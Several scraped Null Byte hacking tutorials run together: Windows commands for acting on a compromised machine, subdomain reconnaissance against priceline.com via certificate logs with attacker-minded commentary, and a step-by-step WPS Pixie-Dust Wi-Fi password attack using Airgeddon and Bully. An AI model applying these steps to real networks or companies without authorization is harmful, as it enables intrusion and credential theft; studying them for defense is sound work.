Linux, it'smkdir). To create a directory named "newdirectory," we type:md newdirectoryAfter making newdirectory, we can now rundirand see the new directory that we created.Step 3: Network CommandsWhen we are on the remote system, we may need networking information. To do so, we have two basic commands,ipconfigandnetstat. Ipconfig is very similar to the Linuxifconfig, as seen below.To view the network connections of the system, we can typenetstat,just like in Linux.netstatStep 4: View ProcessesOften, when we are on a remote system, we will need to see a listing of the running processes. From the GUI, of course, we can use the Task Manager (Ctrl + Alt + Del), but from the command prompt, we usetasklist.tasklistIf we want to find a single process, we could use the filterfindstr(find string). This works similarly togrepin Linux. So, to find the process named "explorer," we could type:tasklist | findstr explorerNote, that we used the pipe (|), just like in Linux, to send the results from thetasklistcommand to the filtering command,findstr.If I want to kill a process, I can use thetaskkillcommand. It requires the PID of the process we want to kill. In this case, the explorer process has a PID of 1532, so to kill it, I can type:taskkill /PID 1532 /FWhere the/Fmeans to force the kill.Step 5: Find the User AccountsIf we want to see the users on the target system, we can type:net usersAs you can see, this system has three users: guest, administrator, and the aptly named victim.Step 6: Run a Browser on the TargetWhile operating the system from the command prompt, we can execute some applications, such as the web browser. Internet Explorer is namediexploreon the command prompt, and we can find it either in the "Program Files" with the 64-bit version or "Program Files (x86)" with the 32-bit version. So, if I want to open Internet Explorer on the remote system from the command prompt and have it openwonderhowto.com, I would type:iexplorewww.wonderhowto.comWhen we do, this opens Internet Explorer on the target system and goes towonderhowto.com, as you can see below.This might be really useful if you had a malicious XSS link set up and needed the target to go to a web server. Furthermore, we might just want the target system to go to our web server on Kali. We could start the Apache web server and then direct the target system to our web server where we may have some malicious software.We can type:iexplore <IP address>As you can see below, we have directed the target system to our web server on Kali.Keep coming back, my greenhorn hackers, as we develop the most valuable skill set in the 21st centuryβhacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHack Like a Pro:Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell)How To:Hack a Windows 7/8/10 Admin Account Password with Windows MagnifierNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Use Common Features of Windows Command PromptHow To:Reset Windows Password with a Windows CD or a Linux CDHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hacker Hurdles:DEP & ASLRHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Hack Any Windows 7/8/10 User Password Without Logging InHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Advice from Typo:Mastering CMD Like a Real Hacker, Part 1 (Colors)How To:Hack Windows 7 (Become Admin)How To:Exploit DDE in Microsoft Office & Defend Against DDE-Based AttacksHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How To:Run Your Favorite Graphical X Applications Over SSHHow To:Disable WPAD on Your PC So Your HTTPS Traffic Won't Be Vulnerable to the Latest SSL AttackHow To:Hack Wireless Router Passwords & Networks Using HydraGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Recover WinRAR and Zip PasswordsHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Remotely Control Computers Over VNC Securely with SSHGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker Training |
How to Uncover Hidden Subdomains to Reveal Internal Services with CT-Exposer Β« Null Byte :: WonderHowTo | Most companies have services like employee login portals, internal-only subdomains, and test servers they would prefer to keep private. Red teams and white hat hackers can find these obscure and often vulnerable services using a tool designed to help protect users from fraudulent certificates.What Is a Certificate Trust Log?Certificates are issued to companies operating online services by a certificate authority to protect users from being directed to fraudulent websites. In 2011, limitations in the ability of certificates to protect users were demonstrated by attacks against certificate authority companies Comodo and DigiNotar. Because it took a long time for the fraudulent certificates to be discovered, certificate trust logs were created to provide better transparency for users.Don't Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsFacebook has used CT logs to discover mis-issued TLS certificates and stop them from being used to intercept HTTPS traffic. This success prompted them to release aCT log tool to the public, with the ability to "subscribe" to a domain to quickly see certificates issued to it.Ironically, releasing this tool led directly to several bug bounty reports in which Facebook test servers that didn't have the same permission checks as production servers were discovered, potentially leading to free access to all kinds of information. This perfectly illustrates how CT trust logs can reveal an unintended amount of information at the company while intending to detect domains using fraudulent certificates.Don't Miss:How to Use SpiderFoot for OSINT GatheringHidden subdomains can reveal hidden pages like employee logins, web applications in use, internal-only domains that can only be visited from an internal DNS, and old or deleted domains. While we can useFacebook's CT monitoring toolonline to find hidden subdomains, we'll be using a local tool for more anonymity. It's called CT-exposer, a Python OSINT scanner that's easy to run on any platform. It won't show us much data as Facebook's tool does, nor provide as many results, but the information is much easier to wade through.What You'll NeedTo get started using CT-exposer, you'll need to make sure Python3 is installed on your computer. If you don't have it, you can download it from thePython.orgwebsite. Once you have Python installed, you can ensure you have the right version by typingpython3into a terminal window. If the output looks similar to the below output, you should be good. You can typequit()after the >>> to exit.python3
Python 3.6.4 (v3.6.4:d48ecebad5, Dec 18 2017, 21:07:28)
[GCC 4.2.1 (Apple Inc. build 6996) (dot 3)] on husker
Type "help", "copyright", "credits" or "license" for more information.
>>> quit()If you're running Kali Linux, make sure to update and upgrade your system as well with the following commands.apt update
apt upgradeStep 1: Download & Install RequirementsWith Python installed and your system fully updated, you can begin by navigating to theGitHub pagefor CT-exposer. Once there, copy the URL under the clone or download button and run thegit clonecommand in a terminal window, as such:git clone https://github.com/chris408/ct-exposer.gitOnce the files finish downloading,change directoriesto root,cdto thect-exposerfolder, then install the requirements, like this:cd ct-exposer
sudo pip3 install -r requirements.txtOnce the requirements are installed, you should be ready to go!Step 2: Select Domain & Run ScanTo begin exploring what CT logs can reveal, take a test domain and see what information can be revealed from an attacker's perspective. To start, try priceline.com.The main URL for this nonsense is priceline.com, so run CT-exposer on the URL to see what you can find. Make sure you are in the ct-exposer folder. Once you're in the ct-exposer folder, you can run the following command to scan the certificate trust logs for thepriceline.comdomain.python3 ct-exposer.py -d priceline.comStep 3: Break Down & Interpret the ScanIn the output below, we see the results of the priceline.com scan. Wow! There are a lot of results, but how could they be useful?sudo python3 ct-exposer.py -d priceline.com
[+]: Downloading domain list...
[+]: Download of domain list complete.
[+]: Parsed 33 domain(s) from list.
[+]: Domains found:
23.23.126.26 admin.groupcommerce.com
178.250.2.116 app-install.priceline.com
35.241.46.146 appinstall.priceline.com
64.6.22.95 bomgar.corp.priceline.com
161.47.16.153 careers.priceline.com
209.202.133.98 cruises.priceline.com
64.6.22.95 dealreveal.corp.priceline.com
69.195.35.215 enet.qahotelportal.priceline.com
151.101.196.65 g.ssl.fastly.net
185.28.222.22 h.priceline.com
185.28.222.21 hsecure.priceline.com
64.6.22.100 mail.corp.priceline.com
104.196.14.36 media.priceline.com
64.6.22.95 phantom.corp.priceline.com
104.131.82.197 picme.priceline.com
151.101.196.204 priceline.map.fastly.net
69.195.35.246 qahotelportal.priceline.com
64.6.22.95 splunkes.corp.priceline.com
64.6.22.95 ssh.corp.priceline.com
69.195.35.226 travela.a1.qa.priceline.com
64.6.21.26 travela.priceline.com
69.195.35.166 www.a1.dev.priceline.com
69.195.35.245 www.a1.qa.priceline.com
64.6.23.56 www.a309.corp.priceline.com
69.195.35.167 www.b1.dev.priceline.com
151.101.130.186 www.priceline.com
69.195.35.143 www.qaa.priceline.com
[+]: Domains with no DNS record:
none enet.hotelportal.priceline.com
none fs.corp.priceline.com
none pcln04.corp.priceline.com
none rsecure.priceline.com
none secure.priceline.comExample 1: Subdomains with DNS That Does Not ResolveYou can attempt to navigate to the various subdomains that appear. If they do not resolve, it can have one of several meanings.See what happens when you attempt to access an internal service, as in a service you have to be connected to an internal DNS server to access. For instance, if you attempt to navigate tomail.corp.priceline.comfrom your web browser, you're met with the following.This is different than what you see when the page you're trying to go to does not exist. This does exist, you just can't see it on a public server. To a red team or an attacker, a piece of internal infrastructure was just discovered. A simpleNmapwill show a Microsoft-IIS/8.5 server sitting at that address.Example 2: Subdomains with DNS That Does Resolve (1)Some subdomains do resolve and aren't that secret at all. However, to an attacker, knowing about this can let you make an early pass to explore a possible avenue of attack.For one example, you see a careers subdomain atcareers.priceline.com. As an attacker, I've just learned what kind of resume I need to copy and drop into these job postings to get the attention of an HR employee at Priceline. Maybe I can even get them to open a PDF resume with an exploit, but even if they use an outsourced hiring company, I can learn about the physical locations they operate from and the type of systems they use by carefully reading the job requirements.Example 3: Subdomains with DNS That Does Resolve (2)By following the subdomain breadcrumbs, you can continue to discover subdomains where the DNS does resolve. Another example,h.priceline.com, which resolves to an insecure website with a very old copyright date. The page talks about a bunch of services they either no longer offer or advertise.Example 4: Subdomains with DNS That Does Resolve (3)Similarly,media.priceline.comdoes actually resolve, this time to a secure website using HTTPS for press like myself, but also last updated in 2014. I'm sure nothing has changed since then.Example 5: Subdomains with DNS That Does Resolve (4)In some instances, the transportation layer security will be broken, and you'll get a big warning like that below when trying to resolvepicme.priceline.com, for instance.If you ignore it and proceed, you can see that the whole server is broken, giving an error message with more information about it. (Gee, thanks for the needless information.)As you can see, there's an Apache 2.4.18 server sitting on an Ubuntu on port 443. Hmm, that seems kind of old. Go ahead and Google that exactly to see if there could be anything wrong. Surely the fortress of information that is priceline.com couldn't be exposing an old, vulnerable server to the internet.Oh my god. There are 16 different vulnerabilities. In this case, you could just move on, assuming this is so riddled with issues that it's probably a honeypot. Wouldn't you feel bad kicking this poor thing?Don't Miss:Research a Person or Organization Using the Operative FrameworkExample 6: Subdomains with DNS That Does Resolve (5)Finally, there's the crown jewel of the discovery: employee login and application endpoints! These watering holes are where you can learn about the security of your targets and attempt to grab passwords. For example, when you attempt to resolvephantom.corp.priceline.com, you are greeted with the following page challenging for a login.So, does this mean that Priceline is running a phantom corporation? In may feel like it but, in fact, these are just endpoints to things like email, hotel logins, and other services employees access from outside the Priceline network.Here, the two important things you can learn are that Priceline is using okta.com for authentication and requires two-factor authentication through "Duo" security.If I was an attacker, I now know that employees receive a push notification each time they log into a company resource on a new device. This means capturing usernames and passwords are useless without also capturing this authentication layer.Example 7: Subdomains with No DNS RecordYou will also likely have several domains which have no DNS record. This means you cannot navigate to them because no known route exists on the public internet. So what does this mean?[+]: Domains with no DNS record:
none enet.hotelportal.priceline.com
none fs.corp.priceline.com
none pcln04.corp.priceline.com
none rsecure.priceline.com
none secure.priceline.comThis means they are serviced by an internal DNS server or require you to be logged into a VPN to access. This makes these subdomains some of the most interesting of all, as they represent internal attack surfaces you do not yet have access to. They also act as targeting information for your initial attacks and a potential way of tricking employees into thinking they are on a private network when they are really on a public one.Don't Miss:Conduct OSINT Recon on a Target Domain with Raccoon ScannerIf I were an attacker or red team, I'd start quietly purchasingphishing domainsthat were similar to the ones seen here, likesecure.pricleine.comto attempt to trick employees into thinking they were logging into an internal service.Don't Miss:How to Easily Generate Hundreds of Phishing DomainsAbusing Certificate Trust Logs Can Reveal Hidden InformationIn one short command, an attacker can take a glance at the available target surfaces and determine the best method of attack. In our example, you were able to assess internal and external target surfaces, evaluate individual employee-level security at the company, and identify different internal departments such as hiring which may have more lax security standards. You were also able to find old, internal, and outright vulnerable domains by simply navigating to the URLs you found CT logs for.What a hacker might learn from this is that recon is a critical skill that doesn't have to be a hugely time-consuming endeavor. While CT-exposer should be just one tool in your arsenal, you can learn about the structure of a company's online presence with relative ease before choosing the perfect target.I hope you enjoyed this guide to using CT-exposer to gather OSINT data on a target domain! If you have any questions about this tutorial on CT-exposer or you have a comment, feel free to reach me in the comments below or on [email protected]'t Miss:How to Scrape Target Email Addresses with TheHarvesterFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Use Photon Scanner to Scrape Web OSINT DataHack Like a Pro:Abusing DNS for ReconnaissanceHow To:Force Safari to Automatically Show Reader View for Specific Websites on Your iPhoneNews:Apple iOS 13 Code Indicates Possible Testing of AR Headset, Report SaysHow To:Quickly Look Up the Valid Subdomains for Any WebsiteNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHow To:Discover Hidden Subdomains on Any Website with SubfinderHow To:Conduct Recon on a Web Target with Python ToolsHow To:Mix a CT cocktailAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Bypass Facebook's HSTSNews:Kinect Hack Reveals 'X-Ray' VisionNews:Augmented Reality App Maker Houzz Reveals Major Data BreachHow To:Hack TOR Hidden ServicesHow To:Use Twitter Custom TimelinesHow To:Install Baseboards / Skirting Boards. SECRET REVEALED!How To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHow To:Create Malicious QR Codes to Hack Phones & Other ScannersNews:Magic Leap Lifts Curtain on Augmented Reality Experiences for Magic Leap OneNews:HoloLens Assists in Live SurgeryHow To:Find Identifying Information from a Phone Number Using OSINT ToolsHow To:Export Your Pixel's Contacts to Use with Other ServicesHow To:Hide or Uninstall System Apps on Your Nexus Player for a Cleaner Home ScreenHow To:Use the siva count card sleight for many card tricksHow To:Reveal hidden MySpace profile content with FireFoxNews:Parents Magazine Cutest Daddy Photo Contest - Deadline February 26, 2011News:Parents Magazine Toys Model Search Photo Contest - Deadline February 19, 2011News:Kid of the Week Photo Contest - Deadline January 15, 2011News:Spooked By Santa Photo Contest - Deadline January 8, 2011News:Parents Magazine Kid of the Year Photo Contest - Weekly Saturday Deadline Plus Final January 21, 2012News:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:If You Are Crazy For Farmville - Secrets Revealed!News:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersHow To:Get the 'Scout Leader' Achievement in Modern Warfare 3News:News Clips - June 6How To:Download Your Data with Google TakeoutNews:"This Guy Has My MacBook"βA Tale of Evil, Redemption & the Power of the AppEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkNews:Kinect Price Revealed; Sony Move ComparisonHow To:A Guide to Steganography, Part 1: How to Hide Secret Messages in Images |
Attack on Stack Β« Null Byte :: WonderHowTo | No content found. |
How to Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using Airgeddon Β« Null Byte :: WonderHowTo | Design flaws in many routers can allow hackers to steal Wi-Fi credentials, even if WPA or WPA2 encryption is used with astrong password. While this tactic used to take up to 8 hours, the newer WPS Pixie-Dust attack can crack networks in seconds. To do this, a modern wireless attack framework calledAirgeddonis used to find vulnerable networks, and thenBullyis used to crack them.When attacking a Wi-Fi network, the first and most obvious place for a hacker to look is the type of network encryption. While WEP networks are easy to crack, most easy techniques to crack WPA and WPA2 encrypted Wi-Fi rely on the password being bad or having the processing power to churn through enough results to make brute-forcing a practical approach.In some cases, an access point's encryption is not the weakest point of the network, so it's good to think outside of the box, or, in this case ... focus on the box. Since the source of the Wi-Fi signal is being broadcast from the router's hardware, the device itself would be a great target to attack instead of the encryption. And one weakness many access points have is a feature called Wi-Fi Protected Setup, which we will learn how to exploit in this guide.Don't Miss:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSIf you forget the password to your access point, Wi-Fi Protected Setup, better known simply as WPS, lets you connect to the network using an 8-digit number printed on the bottom of the router. This is somewhat more convenient than just resetting the router with the button on the back, but also a massive security hole because of the way many routers deal with implementing this feature.A WPS PIN on the bottom of a router can be seen here.Image by audioreservoir/FlickrWPS PINs have been attacked by two successive generations of attacks, starting with the most basic brute-forcing methods targeting the way some routers split the PIN into two separate halves before checking them. Years later, another attack emerged that remains effective against many routers and greatly reduces the amount of time needed to attack a target.Reaver: Now Obsolete Against Most Modern RoutersTheReaver brute-force attackwas a radical new weapon for Wi-Fi hackingwhen it was presented in 2011. One of the first practical attacks against WPA- and WPA2-encrypted networks, it totally ignored the type of encryption a network used, exploiting poor design choices in the WPS protocol.Reaver allowed a hacker to sit within range of a network and brute-force the WPS PIN, spilling all the credentials for the router. Worse, the 8-digit-long PIN could be guessed in two separate halves, allowing for the attack to take significantly shorter than working against the full length of the PIN.While it did require a hacker to be within range of the target Wi-Fi network, it was able to penetrate even WPA and WPA2 networks with strong passwords using an online attack. This is opposed to an offline attack, such as WPA handshake brute-forcing, which does not require you to be connected to the network to succeed. While this was a limitation, the benefit is that there is typically no sign of this kind of attack to the average user.The Reaver attack proved extremely popular, and since 2011, many routers now have protections to detect and shut down a Reaver-type attack. In particular, these attacks have been greatly slowed by rate-limiting, which forces a hacker to wait several seconds before each PIN attack. Many routers will now "lock" the WPS setting in response to too many failed PIN attempts. This has led the Reaver attack to be considered deprecated against most modern routers.WPS Pixie-Dust Attack: The Better Attack MethodWhile routers updated some settings to prevent routers from being attacked via brute-force, serious flaws still existed in the way many routers implement encryption. In programming, it's difficult to create truly random numbers, which is required to produce strong encryption. To do this, we use a function that starts with a number called a "seed," which, after being passed into the function, produces a pseudo-random number.If you use a long or varying "seed" number, you can get the same result as a number that's actually random, but if you use an easily guessed "seed," or even worse ... the same one repeatedly, you create weak encryption that is easy to break. This is exactly what router manufacturers did, giving rise to Pixie-Dust, the second generation of WPS PIN attacks.Don't Miss:How to Hack Wi-Fi Using a WPS Pixie-Dust Attack & ReaverA WPS Pixie-Dust attack in progress.Since many routers with WPS enabled use known functions to produce random numbers with seed values like "0" or the time stamp of the beginning of the WPS transaction, the WPS key exchange has fatal flaws in the way it encrypts messages. This allows the WPS PIN to be cracked in a matter of seconds.What You'll Need for This HackOur tool of choice for demonstrating a WPS Pixie-Dust attack will be a wireless attack framework called Airgeddon. Integrating many wireless attack tools into a suite well suited for beginners, Airgeddon will allow you to select and configure your wireless card, find and load targeting data from nearby networks, and attack targeted networks β all from the same tool.Don't Miss:How to Build a Software-Based Wi-Fi Jammer with AirgeddonThe main menu for the Airgeddon Wi-Fi attack framework.There are some trade-offs to using Airgeddon, as the way it passes data between reconnaissance and attack modules requires you to be able to open multiple terminal windows in a GUI desktop environment. If you are using SSH to access your Kali device, you may need to target vulnerable networks using thewashcommand included in theReavertool and pass the data manually to the Bully tool instead.Since different wireless network cards work better or worse with Reaver or Bully, Airgeddon lets you pass target data between the two scripts and find the sweet spot for your wireless card, the attack module you are using, and the target you are attacking.To use the Bully module of Airgeddon, you'll need to be running Kali Linux or another supported distro. Make sure your Kali Linux is fully updated before you begin, as you'll need several packages installed for this tool to work.You'll also need awireless network adaptercapable of packet injection and wireless monitor mode. We recommend thePanda PAU09, or you can check out our guide linked below to see other popular wireless network adapters.Don't Miss:The Best Wireless Network Adapters for Wi-Fi HackingFinally, make sure you have permission from the owner of the network you're testing this tool on before you start. This tool can work very quickly, and if the network is monitored, you will leave evidence in the logs.Step 1: Download AirgeddonFirst, you'll need to install Airgeddon by cloning the git repository. Open a terminal window, and type the following to clone the repo, change directory to the new folder, and run "airgeddon.sh" as a bash script.git clonegithub.com/v1s1t0r1sh3r3/airgeddon.gitcd airgeddonsudo bash ./airgeddon.shIf it works, you should see an alien loading screen. Don't get too spooked, the script will start soon.Step 2: Install DependenciesAirgeddon will detect your OS and terminal resolution. Pressreturnto check on all the tools contained in the framework.Airgeddon will do a check to see what essential tools are installed. You should try to make sure you have a completely green board before you begin, but in particular, you will need Bully for this attack. To install a missing repo, you have a number of options. The easiest is to follow the format below.apt-getinstall (whatever you are missing)If that doesn't work, you can also try using Pythonpipto install Python modules by typingpip3 install nameofwhatyouaremissinginto a terminal window. When all the results are a green "Ok," pressreturnto proceed to the adapter selection.Step 3: Select Your Wireless Network AdapterIn the next step, Airgeddon will list your network adapters. Select the one you wish to use for the attack by typing the number next to it. You may want to change the MAC address of your adapter with a tool likeGNU MAC Changerbefore doing this.Don't Miss:How to Hack Open Hotel, Airplane & Coffee Shop Wi-Fi with MAC Address SpoofingIn this case, I am selecting my dual-band 2.4 and 5 GHz network card, which is option 3.Next, you will be dropped into the main attack screen. In this case, I will be performing a WPS attack, so I will select option 8 and pressreturn.Step 4: Enable Monitor ModeNow, you will need to put your card into monitor mode. Rather than the usualairmon-ngcommands, simply type the number 2 into the menu, and pressreturn.If all goes well, your card should be put into monitor mode and change its name. Airgeddon will keep track of the changed name, and you will be able to proceed to the targeting menu.Step 5: Sweep the Area for Vulnerable TargetsTo find vulnerable routers, you can now turn your card to the networks in the immediate area by selecting option 4, scan for targets. If you have a dual-band card, you will be asked if you want to scan the 2.4 or 5 GHz spectrum, allowing you to decide what kind of networks to target. TypeYfor 5 GHz andNfor 2.4 GHz.A window should open showing you all of the vulnerable networks. Allow it to stay open for a few scans while your card runs up and down the wireless channels and tries to find new networks. After waiting for about a minute, exit out of the window, or hitCtrl + C.You should see your Wi-Fi target data loaded into a selector screen, meaning you're ready to load target data into an attack module!Step 6: Load Wi-Fi Target Data into the Bully Attack ModuleNow, you should see a screen which contains target data for each vulnerable network you detected. Type the number of the network you want to target to pass the targeting data to Airgeddon, and pressreturn. Next, you will select which attack module will use these values as an argument.In my example, my WPS attack screen is now fully live and ready to fire. My wireless card is in monitor mode, and I have selected a network by BSSID, channel number, ESSID, and other information I pulled from my scan. Now, all I need to do is select an attack module.As you can see below, quite a few are offered. Depending on your wireless card, you will have more luck with either Reaver or Bully. In this guide, we're focusing on Bully, so type7to load the target data into the Bully attack module, and pressreturn.The final value you will need to input is the timeout, or how long before the program assumes the attack has failed. For now, set the value to around 55 seconds. Pressreturn, and the attack will begin.Step 7: Launch the Attack & Break the WPS PINOnce you start the attack module, a window will open with red text on the screen. If communication is successful, you will see many encrypted transactions like the one in the image below. If you are out of range or the target isn't really vulnerable, you will see failed transactions.As soon as Bully has the needed data to break the PIN, it will pass it to the WPS Pixie-Dust program.This can happen in a matter of seconds or less, but if your connection is weak, it may take as long as a few minutes. You should see the cracked PIN and the Wi-Fi password appear at the bottom of the screen. That's it! You have complete access to the router.If you write down the PIN, you can use the "custom PIN association" module to be able to get the new password any time it's changed until the target buys a new router or disables WPS. This also works if you just got the PIN but didn't get the router to dump the Wi-Fi credentials.Defending Against WPS-Pixie Based AttacksThe best and most obvious solution to pulling the plug on a Pixie-Dust attack is to disable the nebulously useful feature at the heart of the issue β Wi-Fi Protected Setup. You can easily reset your router with the reset button located on virtually all routers, meaning pretty much no one will be sad if you disable the WPS feature. You can do this through the administration page of most routers.Another important piece of information is that older routers may say they have disabled the WPS option when, in fact, they are still vulnerable to this attack even with this setting supposedly "off." This is a serious issue for older hardware, and if you test this tool against an older router with the WPS set to "off" and the attack succeeds, your only option may be simply replacing the hardware and buying a new router.WPS-Based Attacks Continue to EvolveHardware-based attacks are a brilliant way of bypassing a strong password, and sustained interest in this attack vector continues to fuel the cat-and-mouse game between router manufacturers, ISPs, and the hackers trying to break into these devices. Learning the history of Reaver and the evolution to WPS Pixie-Dust-based attacks will keep you on the bleeding edge of Wi-Fi hacking and expand your hacking toolkit to enable you to take on any router with vulnerable WPS enabled.I hope you enjoyed this guide to hacking WPS PINs with Airgeddon! If you have any questions about this tutorial or Airgeddon, feel free to leave a comment or reach me on Twitter@KodyKinzie. We'll be doing more inour Wi-Fi hacking series, so stay tuned.Don't Miss:Breaking a WPS PIN to Get the Password with BullyFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Hack Wi-Fi Networks with BettercapHow To:Automate Wi-Fi Hacking with Wifite2How To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Brute-Force WPA/WPA2 via GPUHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody β Even Android UsersHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksRelease the KRACKen:WPA2 Wi-Fi Encryption Hackable Until All Clients & APs Are PatchedHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:The Easiest Way to Share Your Complicated WiFi Password with Friends & FamilyβNo Typing RequiredHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Recover a Lost WiFi Password from Any DeviceHow To:Crack Wi-Fi PasswordsβFor Beginners!How To:Use MDK3 for Advanced Wi-Fi JammingHow To:Intercept Images from a Security Camera Using WiresharkHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:See Who's Stealing Your Wi-Fi (And Give Them the Boot)News:Secure Your Wireless Network from Pillage and Plunder in 8 Easy Steps |
Weekend Homework: How to Become a Null Byte Contributor (2/24/2012) Β« Null Byte :: WonderHowTo | Are you the expert hacker we're looking for? Do you have a great idea for an article on Null Byte? Do you have a passion to write, and more importantly... teach?We're officially looking for Null Byters on a weekly basis who are willing to take the time to educate the community. Contributors will write tutorials, which will be featured on theNull Byte blog, as well as the front page ofWonderHowTo(providing it's up to par, of course).There is no need to be intimidated if you fear you lack the writing skills. I will edit your drafts if necessary and get them looking great! You don't need to be a college professor to share your hard earned knowledge with everyone!How Else Can I Help?If you did not notice yet, I am new here! It would be great to get to know the community better and hear your ideas on the future of Null Byte. I look forward to discussing information security with you on theforumsor in ourIRCchannel.If you have skills and want to share knowledge on any of the topics below, please leave a response in the comments with which topic you would like to write,Β ormessage meprivately. If you have any additional ideasat all, please submit them below.And one last thing, if you come across a great news article or some helpful links, please post them to ourCommunity Corkboardto share with the everyone!Topic IdeasIntro to Sqlmapβ SQL injections are a hot topic today! Teach the community a little about code injections with an overview of sqlmap.How to use Nmap from Behind a Proxyβ Teach users how to Nmap from behind a proxy to mask traffic. Extra points if you use Tor or I2P!Intro to Programmingβ We have some mid-level python articles on Null Byte, but we could use some more entry-level texts!COMPLETED: Thanks,Christopher Voute! See his articlehere.How to use Virtual Machines to Run Multiple Operating Systemsβ Let's face it, WINE is old and sometimes you need to get into a Mac environment.How to Config Openbox on Backtrack (sound must work!)β Sometimes you don't want all the fluff and pomp of Gnome or KDE. Show us how to configure Openbox as our window manager in Backtrack 5.Give us Your Best Social Engineering Tipsβ Can you talk your way out of anything? Can you talk your wayintoanything? Do you have any tips you could share with the rest of us? Why break a password when you can simply ask for it, right?How to Harden Your Linux Boxβ Fresh Linux install? Walk us through some of the steps of making it more secure then it is out of the box. Bonus points for defense in depth!Intro to TCP/IPβ Are you a networking person? We could use an introduction to TCP/IP, its history and its use.How to Buy Hardwareβ The computer hardware market is changing every day. Help new users make informed decisions by giving an overview of what's hot and available out there.How to Torrent Securelyβ Explain how to use anonymous networks and private trackers to download safe from the prying eyes of your ISP.Comments? 